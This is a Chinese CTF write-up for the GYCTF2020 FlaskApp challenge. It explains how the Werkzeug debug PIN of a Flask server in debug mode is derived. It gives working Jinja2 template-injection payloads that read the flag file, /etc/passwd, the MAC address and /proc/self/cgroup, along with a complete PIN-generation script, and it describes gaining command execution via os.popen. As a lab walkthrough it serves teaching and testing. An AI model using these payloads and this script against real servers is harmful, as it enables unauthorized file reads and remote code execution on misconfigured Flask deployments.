前言

如果Flask开启了debug模式,在debug页面中包含了python的交互式shell,可以执行任意的python代码

先来看一段代码

from flask import Flask

app = Flask(__name__)

@app.route("/index")
def hello():
    return Liwer

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=3000, debug=True)

显然这是一段错误的代码,第七行的Liwer没有定义,并且开启了debug模式,访问本地3000端口可以看到报错信息

看到了web应用目录,这些危害并不大,主要是如何进入python的交互式shell

这里需要输入一个PIN码

PIN码的安全性问题

关于PIN码的生成,可以使用pdb对python进行调试,一步步跟进,可以看下这位师傅的解答,有点偏向二进制了

https://zhuanlan.zhihu.com/p/32336971

总结一下PIN码生成流程就是【当前计算机用户名:XXX】、【[flask.app]】、【Flask】、【C:\Python27\lib\site-packages\flask\app.pyc】、【str(uuid.getnode())】、【get_machine_id()】组合获得,缺一不可。

  1. flask所登录的用户名
  2. modname,一般为Flask.app
  3. getattr(app, “\name**”, app.**class**.**name**)。一般为Flask**
  4. flask库下app.py的绝对路径。这个可以由报错信息看出
  5. 当前网络的mac地址的十进制数。
  6. 机器的id。

如何利用呢?通过一道题来了解

l[GYCTF2020]FlaskApp

打开后在这个页面出存在SSTI模板注入

将{{7+7}}base64加密,输出14,存在模板注入,当然可以使用模板注入的方法拿到flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

另一种解法就是利用PIN码

获取flask用户名
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

flaskweb
获取app.py的绝对路径,

在报错信息中可以看到

/usr/local/lib/python3.7/site-packages/flask/app.py
获取MAC地址的10进制数

**/sys/class/net/eth0/address**

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

72fe70bd0459

将:去除转化为10进制

126437138695257

获取docker机器的id

这个环境式docker启动的,所以机器的id就式docekr容器的id值

对于机器id的解释,引用一下师傅的言论

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b

利用师傅的脚本生成PIN码:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '`126437138695257`',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '`bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b`'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

这里存在一个问题,生成的PIN码显示不正确,在我尝试后将dockerid的值改为了machineid的值

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

拿到PIN值后成功进入python的交互式shell

这里输出零,可能设置了python沙盒禁用了某些函数

使用os.popen后成功命令执行

总结

对于每一台机器由不同的PIN码,但是对于同一台机器多次启动Flask服务的PIN码相同

对于PIN码的获得并不容易,上面最终还是通过模板注入才获取到三个敏感信息的内容

rerference

https://zhuanlan.zhihu.com/p/32138231

https://zhuanlan.zhihu.com/p/32336971

https://blog.csdn.net/RABCDXB/article/details/117773638

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖